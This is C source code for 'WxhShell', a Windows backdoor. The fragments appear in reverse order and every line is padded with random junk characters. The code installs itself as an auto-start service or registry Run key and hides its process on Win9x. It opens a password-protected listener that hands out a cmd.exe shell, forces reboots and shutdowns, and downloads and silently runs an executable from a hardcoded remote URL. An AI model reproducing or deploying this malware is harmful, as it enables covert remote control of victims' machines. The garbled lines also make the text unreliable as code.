    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %H:uE*WZ  
    else { +zxj-di M  
    closesocket(wsh); ![WX -"lW  
    ExitThread(0); Sf>R7.lpP  
    } 6JWCB9$4  
    break; ;dl>  
    }  `"v5bk  
  // 获取shell 8tWOVLquJ  
  case 's': { qkC+9Sk  
    CmdShell(wsh); .s 31D%N  
    closesocket(wsh); JGPLVw  
    ExitThread(0); )r v5QH`i  
    break; -f0Nb+AR  
  } H{'<v|I  
  // 退出 -;_`>OU{  
  case 'x': { 0bxB@(NO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `r+"2.z*  
    CloseIt(wsh); ZCi~4&Z#  
    break; Ec| Gom?  
    } JicAz1P1W  
  // 离开 THirh6  
  case 'q': { <,d.`0:y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ud K)F$7  
    closesocket(wsh); mH> oF|  
    WSACleanup(); ; >3q@9\D  
    exit(1); >ir'v5  
    break; k"|4 LPv[  
        } $X_JUzb  
  } Uw^`_\si  
  } V6"<lK8"  
Go3EWM`Cd8  
  // 提示信息 8DbXv~3@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !%x8!;za  
} v4!zB9d  
  } {]plT~{e  
> 4ex:Z  
  return; AOQimjW9a  
} )n 1b  
mD-qJ6AM  
// shell模块句柄 yiGq?WA7  
int CmdShell(SOCKET sock) 5Jq~EB{"  
{ T1hr5V<U  
STARTUPINFO si; egboLqn  
ZeroMemory(&si,sizeof(si)); Tx?,]c,(u  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $8o(_8Q)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?ix--?jl  
PROCESS_INFORMATION ProcessInfo; ^RytBwzKM  
char cmdline[]="cmd"; ;>_\oZGj_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); WS8m^~S@\  
  return 0; +[*VU2f t  
} x/Se /C  
L<!}!v5ja  
// 自身启动模式 EZaWEW  
int StartFromService(void) Xu`c_  
{ 9K~2!<  
typedef struct 'Ca6cm3Tg  
{ :S}!i?n  
  DWORD ExitStatus; G$pTTT6#  
  DWORD PebBaseAddress; "l!WO`.zp=  
  DWORD AffinityMask; >k,|N4(  
  DWORD BasePriority; / pzdX%7  
  ULONG UniqueProcessId; !"/]<OQ   
  ULONG InheritedFromUniqueProcessId; \"B?'Ep;  
}   PROCESS_BASIC_INFORMATION; $Z6g/bD`E  
T:q_1W?h]  
PROCNTQSIP NtQueryInformationProcess; ;]zV ?9  
D-e0q)RSU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; fyPpzA0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !s pp*Q)#\  
Aifc0P-H  
  HANDLE             hProcess; OQMkpX-dH  
  PROCESS_BASIC_INFORMATION pbi; )I'?]p<  
{'VP_ZS1v  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )=l~XV  
  if(NULL == hInst ) return 0; rF:C({y  
XlUM~(7+v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bh|M]*Pq  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "V-k_d "  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); WZO8|hY  
&<6E*qM  
  if (!NtQueryInformationProcess) return 0; fe PH=C  
z<aBGG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n2&*5m&$  
  if(!hProcess) return 0; i'9aQi"G  
M#X8Rs1`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0fwmQ'lW(  
1BT]_ cP  
  CloseHandle(hProcess); [xzgk [>5  
{Q],rv|;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |S.G#za  
if(hProcess==NULL) return 0; |f), dC  
/ivcqVu]  
HMODULE hMod; l?pF?({  
char procName[255]; it]im  
unsigned long cbNeeded; FsQeyh>  
r09gB#K4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Qt`hUyL  
$/;D8P5/&=  
  CloseHandle(hProcess); s}Phw2`1U  
|,3s]b`  
if(strstr(procName,"services")) return 1; // 以服务启动 HT&CbEa4'  
VP0q?lh  
  return 0; // 注册表启动 F5UvD[i  
} d 90  
+UbSqp1BS  
// 主模块 },58B  
int StartWxhshell(LPSTR lpCmdLine) _M'WTe  
{ Fp'qn'){:#  
  SOCKET wsl; 8K+(CS>xvO  
BOOL val=TRUE; R_9&V!fl  
  int port=0; e_'/4 n  
  struct sockaddr_in door; u=_"* :}  
3m3ljy  
  if(wscfg.ws_autoins) Install(); O/g|E47  
DUH\/<^g  
port=atoi(lpCmdLine); "Tw4'AY'P  
?LJ$:u  
if(port<=0) port=wscfg.ws_port; s18o,Zs'  
Q{%2Npvq  
  WSADATA data; ^n8ioL\*i  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; aD)$aK  
t^ _0w[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   i%BrnjX  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); B ~u9"SR.  
  door.sin_family = AF_INET; 590.mCm  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =$bJ`GpJ  
  door.sin_port = htons(port); OAigq6[,  
(Hk4~v6pqC  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { % 8c <C  
closesocket(wsl); E/bIq}R6  
return 1; 1.S7MSpTV  
} :`u?pc27Sm  
8yW8F26  
  if(listen(wsl,2) == INVALID_SOCKET) { Y~I$goT  
closesocket(wsl); }YV,uJH[  
return 1; TUE*mDRmP  
} %v}SJEXF p  
  Wxhshell(wsl); k+-IuO  
  WSACleanup(); HCBZ*Z-  
H~Z$pk%  
return 0; EY~b,MIL4  
.<xzf4C  
} ?yAp&Ad  
un*Ptc2%  
// 以NT服务方式启动 )"( ojh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) XKp$v']u  
{ 0*e)_l!  
DWORD   status = 0; b:%z<vo  
  DWORD   specificError = 0xfffffff; 1Yr&E_5/  
m/{HZKh  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !-G'8a|7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {;:QY 1Q T  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; FEOr'H<3x  
  serviceStatus.dwWin32ExitCode     = 0; Th!.=S{Y5  
  serviceStatus.dwServiceSpecificExitCode = 0; 9gu$vF]9!  
  serviceStatus.dwCheckPoint       = 0; Y!3Mm*  
  serviceStatus.dwWaitHint       = 0; GUX! kj  
*[ ' n8Z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B#o/3  
  if (hServiceStatusHandle==0) return; @.rVg XE=!  
\o|5 /N  
status = GetLastError(); j@w+>h  
  if (status!=NO_ERROR) yQP!Vt^  
{ U,G!u=+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |AosZeO_  
    serviceStatus.dwCheckPoint       = 0; i|`b2msvd  
    serviceStatus.dwWaitHint       = 0; 2 X];zY  
    serviceStatus.dwWin32ExitCode     = status;  {J aulg  
    serviceStatus.dwServiceSpecificExitCode = specificError; |_<'q h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]m fI$p%  
    return; n jfh4}g:  
  } Z.Otci>J  
{z^6V\O5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "7w~0?}  
  serviceStatus.dwCheckPoint       = 0; X jJV  
  serviceStatus.dwWaitHint       = 0; [Ej#NHs  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |3Fo4K%+  
} D]n"`< Ho  
P4\{be>e  
// 处理NT服务事件,比如:启动、停止 \hlQu{q.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0r4,27w  
{ sl5y1W/]]  
switch(fdwControl) 9EPE.+ns  
{ 0XkLWl|k  
case SERVICE_CONTROL_STOP: ]q,5'[=~4h  
  serviceStatus.dwWin32ExitCode = 0; %VV\biO]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; WFGcR9mN?  
  serviceStatus.dwCheckPoint   = 0; .Lwp`{F/  
  serviceStatus.dwWaitHint     = 0; \2UtT@3|C  
  { z;c~(o@4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U@ ;W^Mt  
  } Fwu:x.(  
  return; V`ODX>\  
case SERVICE_CONTROL_PAUSE: U<pG P  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8fG$><@  
  break; A?YU:f  
case SERVICE_CONTROL_CONTINUE: qdM=}lbc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; A#b`{C~l  
  break; k$ ya.b<X/  
case SERVICE_CONTROL_INTERROGATE: X@["Jjp  
  break; s8r|48I#;  
}; '7Ad:em  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S= NGJ 0  
} UQ7E7yY#  
P"Scs$NOU?  
// 标准应用程序主函数 YK=o[nPmK  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) mQbpv'N  
{ eX{:&Do  
wsfN \6e  
// 获取操作系统版本 ""Ub^:ucD  
OsIsNt=GetOsVer(); O_E\(So  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /k$H"'`j4  
6\+ ZTw  
  // 从命令行安装 UY ^dFbJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); ! R b  
>V01%fLd  
  // 下载执行文件 5qe6/E@  
if(wscfg.ws_downexe) { (TX\vI&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6'F4p1VG*I  
  WinExec(wscfg.ws_filenam,SW_HIDE); M0B6v} ^H  
} Gz_[|,i  
A^%li^qz  
if(!OsIsNt) { u|G&CV#r  
// 如果时win9x,隐藏进程并且设置为注册表启动 x5X;^.1Fr  
HideProc(); S-5|t]LV  
StartWxhshell(lpCmdLine); 1#Ls4+]5  
} 96VJE,^h  
else 8E/wUN,Lxj  
  if(StartFromService()) , GU|3  
  // 以服务方式启动 u%s@B1j  
  StartServiceCtrlDispatcher(DispatchTable); "mk4O4dF  
else n[E#K`gg'  
  // 普通方式启动 ^xNs^wC.  
  StartWxhshell(lpCmdLine); :xBG~D  
ytDp 4x<W)  
return 0; W1$<,4j@M  
} q^I/  
en5sqKqh+  
>RTmfV  
TV['"'D&i  
=========================================== 4PcsU HR  
fOHgz ,x=  
6Hh\ys  
Dp8`O4YC  
3j h: K   
#Bih=A #  
" S>6f0\F/Y%  
6^Q/D7U;s  
#include <stdio.h> fPA5]a9  
#include <string.h> h(>eHP  
#include <windows.h> xh90qm  
#include <winsock2.h> MT3TWWtZ:  
#include <winsvc.h> ?x\tE]  
#include <urlmon.h> V~~4<?=A  
q b[UA5S\`  
#pragma comment (lib, "Ws2_32.lib") B(zcoWQ*B  
#pragma comment (lib, "urlmon.lib") bzC| aUGM  
89kxRH\IhG  
#define MAX_USER   100 // 最大客户端连接数 er%D`VHe  
#define BUF_SOCK   200 // sock buffer KT9!R  
#define KEY_BUFF   255 // 输入 buffer j} .,|7X  
1[ 4)Sq?  
#define REBOOT     0   // 重启 h;lg^zlTb  
#define SHUTDOWN   1   // 关机 kgl7l?|O  
c?/R=/H  
#define DEF_PORT   5000 // 监听端口 !,0%ZG}]7  
oLh 2:c  
#define REG_LEN     16   // 注册表键长度 DDwj[' R  
#define SVC_LEN     80   // NT服务名长度 ib,BYFKEW  
y+"6Y14  
// 从dll定义API {~y,.[Ga  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?r}'0dW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7%0V?+]P  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8=T[Y`;x  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -V_iv/fmM  
qtI42u{  
// wxhshell配置信息 S!r,p};  
struct WSCFG { 6A ;,Ph2  
  int ws_port;         // 监听端口 MKPw;@-  
  char ws_passstr[REG_LEN]; // 口令 Pf/_lBtL  
  int ws_autoins;       // 安装标记, 1=yes 0=no EG&97l b  
  char ws_regname[REG_LEN]; // 注册表键名 V0 O6\)/.  
  char ws_svcname[REG_LEN]; // 服务名 zcrM3`Zh  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _s%;GWj  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +;|" #  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 KccIYn~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~ 5@bW J  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~B704i  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -L6YLe%w  
{Y7dE?!`7  
}; U{[ g"_+~  
5?=haGn  
// default Wxhshell configuration ,Qb(uirl]  
struct WSCFG wscfg={DEF_PORT, F39H@%R  
    "xuhuanlingzhe", vS1#ien#  
    1, U1y8Y/  
    "Wxhshell", K4w#}gzok  
    "Wxhshell", >oHgs  
            "WxhShell Service", ZdsYIRU#  
    "Wrsky Windows CmdShell Service", g-8D1.U  
    "Please Input Your Password: ", +!JTEKHKH  
  1, OC5\3H  
  "http://www.wrsky.com/wxhshell.exe", =g3o@WD/G  
  "Wxhshell.exe" `ttqgv\  
    }; Ss$/Bh>hN  
TR J5m?x  
// 消息定义模块 l6~wm1vO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /y-eVu6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;Im%L=q9GL  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $O[$<D%H  
char *msg_ws_ext="\n\rExit."; (`cXS5R  
char *msg_ws_end="\n\rQuit."; HD~o]l=H  
char *msg_ws_boot="\n\rReboot..."; ah2L8jN"  
char *msg_ws_poff="\n\rShutdown..."; ^/M-*U8ab  
char *msg_ws_down="\n\rSave to "; ?qt.+2:  
*P; cSx?2  
char *msg_ws_err="\n\rErr!"; vAt ]N)R  
char *msg_ws_ok="\n\rOK!"; |EZ\+!8N:{  
my+2@ln  
char ExeFile[MAX_PATH]; |?\J,h  
int nUser = 0; aUYq~E tj  
HANDLE handles[MAX_USER]; #O,;3S  
int OsIsNt; &$NYZ3?9  
N% !TFQf  
SERVICE_STATUS       serviceStatus; jxdX7aik  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; I ]HP  
r>,s-T!7  
// 函数声明 {7Qj+e^  
int Install(void); Y2d(HD@  
int Uninstall(void); LM2S%._cj;  
int DownloadFile(char *sURL, SOCKET wsh); z~($ "  
int Boot(int flag); Em]2K:  
void HideProc(void); Z!foD^&R  
int GetOsVer(void); _)XZ;Q  
int Wxhshell(SOCKET wsl); !L3\B_#  
void TalkWithClient(void *cs); c_Lcsn  
int CmdShell(SOCKET sock); k; (r:k^  
int StartFromService(void); E]c0+rh~  
int StartWxhshell(LPSTR lpCmdLine); H aA2y  
TMw6 EM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T?k!%5,Kj  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); EN/r{Cm$B  
E@/* eJ  
// 数据结构和表定义 /*1p|c^  
SERVICE_TABLE_ENTRY DispatchTable[] = 'B9q&k%<  
{ /I48jO^2  
{wscfg.ws_svcname, NTServiceMain}, zFm:=,9  
{NULL, NULL} L]Dq1q8`  
}; _~.S~;o!b  
0Z1';A3  
// 自我安装 ,(;]8G-Yj  
int Install(void) ` #; "  
{ HAmAmEc,  
  char svExeFile[MAX_PATH]; i5#4@ 4aC  
  HKEY key; F10TvJ U  
  strcpy(svExeFile,ExeFile); |crm{]7X  
%V|n2/O Y  
// 如果是win9x系统,修改注册表设为自启动 :6jh*,OHZl  
if(!OsIsNt) { LhCwZ1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h|%a}])G)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +!cibTQTT  
  RegCloseKey(key); ZtGtJV"H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >Vph_98|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 821;;]H  
  RegCloseKey(key); KD`*[.tT  
  return 0; +} x\|O  
    } gTb%c84  
  } {F ',e~}s  
} O"~CZh,:r}  
else { S*V!t=  
_c>8y  
// 如果是NT以上系统,安装为系统服务 M \UB r4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Kh7C7[&  
if (schSCManager!=0) \49s;\I]  
{ |ITh2m  
  SC_HANDLE schService = CreateService ?$.JgG%Z+g  
  ( 7;9 Jn  
  schSCManager, R!rj:f!>  
  wscfg.ws_svcname, rGlnu.mK^  
  wscfg.ws_svcdisp, p^)w$UL}}  
  SERVICE_ALL_ACCESS, H,EGB8E2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0M!GoqaA  
  SERVICE_AUTO_START, t!\B6!Fo  
  SERVICE_ERROR_NORMAL, W>(w&k]%B  
  svExeFile, <UwYI_OX  
  NULL, <72q^w  
  NULL, IXpn(vX  
  NULL, g(dReC  
  NULL, l4ru0V8s7  
  NULL (qzBy \\p  
  ); 4{ [d '-H5  
  if (schService!=0) oQ}K_}{>  
  { Z8`Y}#Za[  
  CloseServiceHandle(schService); M9~6ry-_  
  CloseServiceHandle(schSCManager); V1yP{XT=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %D3Asw/5a  
  strcat(svExeFile,wscfg.ws_svcname); $r)NL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { + />f?+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); x/0loW?q^  
  RegCloseKey(key); W5>emx'>  
  return 0; VIg6'  
    } #^{%jlmHxJ  
  } L_q3m-x0h  
  CloseServiceHandle(schSCManager); &WZ&Tt/)/  
} 1#9PE(!2  
} ;;+h4O )  
G5ShheZd  
return 1; & gcZ4 gpH  
} beB3*o  
[eFJ+|U9  
// 自我卸载 S6Y:Z0  
int Uninstall(void) S]NT+XM  
{ Lngf,Of.e  
  HKEY key; &+3RsIl W  
2"c5<  
if(!OsIsNt) { biV NZdA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7CH.BY  
  RegDeleteValue(key,wscfg.ws_regname); @`ii3&W4  
  RegCloseKey(key); A4(k<<xjE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q%524%f$  
  RegDeleteValue(key,wscfg.ws_regname); z[@i=avPG  
  RegCloseKey(key); Tn9F g7<  
  return 0; rBOH9L  
  } {< EPm&q  
}  DTa!vg  
} KTBtLUH]*F  
else { 8`6G_:&X  
*Q#oV}D_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w[$oH^7  
if (schSCManager!=0) 4o"?QV:  
{ .PV(MV  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o2cc3`*8d  
  if (schService!=0) @v3)N[|d  
  { xGFbh4H=8p  
  if(DeleteService(schService)!=0) { '$rCV,3q  
  CloseServiceHandle(schService); 97~>gFU77#  
  CloseServiceHandle(schSCManager); zszmG^W{  
  return 0; Mdh]qKw  
  } K]uH7-YvL/  
  CloseServiceHandle(schService);  v7Ps-a)  
  } x6*y$D^B  
  CloseServiceHandle(schSCManager); ,SNt*t1"  
} 1;'-$K`}  
} e=aU9v L  
_#MKpH  
return 1; A3*(c3  
} |5ge4,}0  
h-RhmQA=Iz  
// 从指定url下载文件 qHtIjtt[q  
int DownloadFile(char *sURL, SOCKET wsh) }!?RB v'W  
{ luyu7`  
  HRESULT hr; 7WUv  O  
char seps[]= "/"; <1B+@  
char *token; NqGSoOjIO2  
char *file; KV8<'g+2?  
char myURL[MAX_PATH]; h&n1}W+  
char myFILE[MAX_PATH]; LAY:R{vI  
"RM\<)IF  
strcpy(myURL,sURL); FD&^nJ_{  
  token=strtok(myURL,seps); ,I ][  
  while(token!=NULL) ]T)<@bmL  
  { :Ocw+X3  
    file=token; }}ic{931  
  token=strtok(NULL,seps); bo(w$& VW  
  } g<,0kl2'S  
>\3\&[#"  
GetCurrentDirectory(MAX_PATH,myFILE); d0C _:_  
strcat(myFILE, "\\"); RgW#z-PZF  
strcat(myFILE, file); F#M(#!)Y"  
  send(wsh,myFILE,strlen(myFILE),0); ipl,{  
send(wsh,"...",3,0); gu%i|-}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (x?Tjyzw  
  if(hr==S_OK) eG8 l^[  
return 0; i;s;:{cn  
else U*E)y7MY  
return 1; SD{)Sq  
p!=O>b_f  
} <<E 9MIn_  
Bf]Bi~w<  
// 系统电源模块 B /w&Lo  
int Boot(int flag) ^Y+Lf]zz*  
{ iU37LODa2T  
  HANDLE hToken; %+Y wzL{  
  TOKEN_PRIVILEGES tkp; >C!^%e;m  
>`SeX:  
  if(OsIsNt) { |FM*1Q[1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); OXbShA&1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); u%+k\/Scp.  
    tkp.PrivilegeCount = 1; g}W|q"l?i  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A_9J ~3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); t89Tt@cf  
if(flag==REBOOT) { =-X-${/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) QkW'tU\^  
  return 0; f7][#EL  
} 6}e*!,2Xj  
else { Cl9nmyf   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m%apGp'=1  
  return 0; fByf~iv,  
} `>`b;A4  
  } !khEep}  
  else { {, +c  
if(flag==REBOOT) { +kQ=2dva  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dpsc gW{M  
  return 0; _8 |X820  
} 5B4/2q=  
else { A;RV~!xx  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) i!e8-gVMP&  
  return 0; 'ScvteQ  
} z'& fEsjy  
} 3^~J;U!3  
htR.p7&Tn  
return 1; '!8-/nlv1  
} xlu4  
*wj5(B<y  
// win9x进程隐藏模块 Zx_ ^P:rL  
void HideProc(void) S7Ty}?E@  
{ PWiUW{7z  
9Pe$}N  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); OM&GypP6&  
  if ( hKernel != NULL ) 2wIJ;rh  
  { M?%x= q\<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ceJi|`F  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *|dK1'Xr  
    FreeLibrary(hKernel); n"6L\u  
  } U|%}B(  
l[ $bn!_ e  
return; 9yC22C:  
} tMX$8W0 c  
ChG7>4:\  
// 获取操作系统版本 {#k[-\|;  
int GetOsVer(void) \"nut7";2  
{ *1<kYrB  
  OSVERSIONINFO winfo; >a<1J(c  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,Q7;(&x~  
  GetVersionEx(&winfo); -"dt3$ju  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G_S>{<[  
  return 1; n@p@ @  
  else e@W+ehx"  
  return 0; yW= +6@A4  
} </`\3t  
>- \bLr  
// 客户端句柄模块 :1>?:3,`  
int Wxhshell(SOCKET wsl) % (y{Sca  
{ d9M[]{  
  SOCKET wsh; qGV_oa74  
  struct sockaddr_in client; h7UNmwj  
  DWORD myID; =oq8SL?bJ*  
" L`)^  
  while(nUser<MAX_USER) daI_@kY"  
{ j/*1zu8Y  
  int nSize=sizeof(client); bPU i44P  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PU/<7P*  
  if(wsh==INVALID_SOCKET) return 1; $0E+8xE  
c_D(%Vf5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :]@c%~~!&  
if(handles[nUser]==0) hDW!pnj1  
  closesocket(wsh); _NsEeKU  
else VIP7j(#t_g  
  nUser++; W-n4w Ij"  
  } TB! I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $ItjVc@U  
yQD>7%x  
  return 0; Z)#UCoK!c  
} (O5Yd 6u  
"+ou!YK+  
// 关闭 socket .+/d08]  
void CloseIt(SOCKET wsh) E=p+z"Ui  
{ 4 V')FGB$  
closesocket(wsh); `.W2t5 Y  
nUser--; tbd=A]B-  
ExitThread(0); E5bVCAz  
} kO}&Oi,?  
tg/UtE`V  
// 客户端请求句柄 ;/j2(O^  
void TalkWithClient(void *cs) Icnhet4  
{ FQDf?d5  
VI&x1C  
  SOCKET wsh=(SOCKET)cs; 3 !@  
  char pwd[SVC_LEN]; lD/9:@q\V  
  char cmd[KEY_BUFF]; JNfL jfE)<  
char chr[1]; esqmj#G  
int i,j; {arqcILr  
hw^&{x  
  while (nUser < MAX_USER) { R-13DVK  
*9aJZWf>V  
if(wscfg.ws_passstr) { j<B9$8x&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N T`S)P*?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t<!;shH,s  
  //ZeroMemory(pwd,KEY_BUFF); !*N9PUM  
      i=0; 7Q}pKq]P  
  while(i<SVC_LEN) { m+TAaK  
<xOX+D  
  // 设置超时 a#YK1n[!  
  fd_set FdRead; x#>V50E  
  struct timeval TimeOut; c{1;x)L  
  FD_ZERO(&FdRead); ]:|B).  
  FD_SET(wsh,&FdRead); 5X)8Nwbc  
  TimeOut.tv_sec=8; &|/_"*uM  
  TimeOut.tv_usec=0; #).$o~1ht!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !(GyOAb  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  ?Y(  
*GT=U(d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1qRquY  
  pwd=chr[0]; b2m={q(s  
  if(chr[0]==0xd || chr[0]==0xa) { mlnF,+s  
  pwd=0; jf~](TK  
  break; cm< #zu3~S  
  } Yj/afn(Jt  
  i++; va6Fp2n<1*  
    } c|&3e84U  
!6!)H8rX  
  // 如果是非法用户,关闭 socket oP&/>GmXL  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); bdg6B7%Q  
} `q^#u  
$%y q[$^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *]$B 9zVs!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [jMN*p?  
".?4`@7F\  
while(1) { ujU,O%.n  
p5G'})x  
  ZeroMemory(cmd,KEY_BUFF); -@pjEI  
M3(N!xT  
      // 自动支持客户端 telnet标准   -'! J?~  
  j=0; Bn}woyJdx  
  while(j<KEY_BUFF) { ma.84~m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ep7MU&O0iK  
  cmd[j]=chr[0]; I |Oco?Q"  
  if(chr[0]==0xa || chr[0]==0xd) { m2(>KMbi  
  cmd[j]=0; x/*lNG/  
  break; Ez3fL&*  
  } dljE.peL  
  j++; F-_u/C]  
    } NXW*{b  
^P) f]GQx  
  // 下载文件 bJ ~H  
  if(strstr(cmd,"http://")) { #@R0$x  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); sPH 2KwEv  
  if(DownloadFile(cmd,wsh)) \ TV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); T[oC='I+O  
  else hlzB cz*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w0Qtr>"  
  } n;g'?z=hy  
  else { d$t"Vp  
>jm(2P(R   
    switch(cmd[0]) { /bo}I-<2  
